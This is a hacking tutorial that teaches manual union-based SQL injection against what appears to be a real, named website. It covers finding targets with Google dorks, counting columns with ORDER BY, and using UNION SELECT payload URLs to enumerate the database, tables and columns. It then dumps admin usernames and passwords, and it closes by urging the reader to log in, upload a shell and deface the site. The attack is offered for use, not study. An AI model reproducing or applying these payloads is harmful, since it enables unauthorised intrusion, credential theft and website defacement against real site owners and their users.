SQL Injection for Hacking a Vulnerable Website

SQL Injection for Hacking

1. Find a vulnerable website. also One way you can do this is by using what is called a google dork. In the Hacking websites section of this app, you can find a huge list of dorks. Simply go to google and type inurl:dorkhere
2. When you have a target URL like: http://cadaboutdrugs.ie/news.php?id=82, add a ‘ at the end so it looks likehttp://cadaboutdrugs.ie/news.php?id=82’
3. The site will be vulnerable to this hack if you also get an error, or some of the websites content vanishes. If none of these things happen, this website is not vulnerable to SQLi
4. For the site used above, there is no error but content has vanished. It is vulnerable.
5. Now try for ORDER BY syntax.
   1 ORDER BY 2 ORDER BY  3 ORDER BY
   4 ORDER BY
   I have tried upto 90 but I cant Find any Error.
6. Next step to Apply UNION syntax.
   UNION SELECT
   UNION SELECT
7. Now at UNION SELECT 1,2,3,4,5,6,7,8– you will see some vulnerable number on screen e.g. 2 3 4
8. Now found Version of MySQL, User, and Database Name.
   http://cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,@@version,user(),database(),5,6,7,8–
9. Now you will see the following output :
   5.1.49-log —> MySQL [email protected] —> Useraboutdr_Test —> Database Name
10. Now found All tables name in database
    http://www.cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()–
11. We got our all table –>[about,carousel,contact,documents,donate,intro,links,members,news,services] in which we also got our Important table which stored admin username password is –> members
12. Find columns names of members table. goto http://home2.paulschou.net/tools/xlate/ website.
13. Copy members without quotes into [ TEXT ] also field and Press
14. Now We got the value 109 101 109 98 101 114 115 from [ DEC / CHAR ] field.
15. Now our query to find column names of members table will then be:
    http://www.cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(109,101,109,98,101,114,115)–
16. Now we got all column names from members tables.–>id,username,password
17. Now find username password the query will be:
    http://www.cadaboutdrugs.ie/news.php?id=-82 UNION SELECT 1,GROUP_CONCAT(id,0x3a,username,0x3a,password),3,4,5,6,7,8 FROM members–
18. Here we got id, username and then password and 0x3a stands for –> [:] (colon)
19. Now go to Home page of site Click on Admin Login. Login with username password and also Upload your shell feel free to deface or upload any page.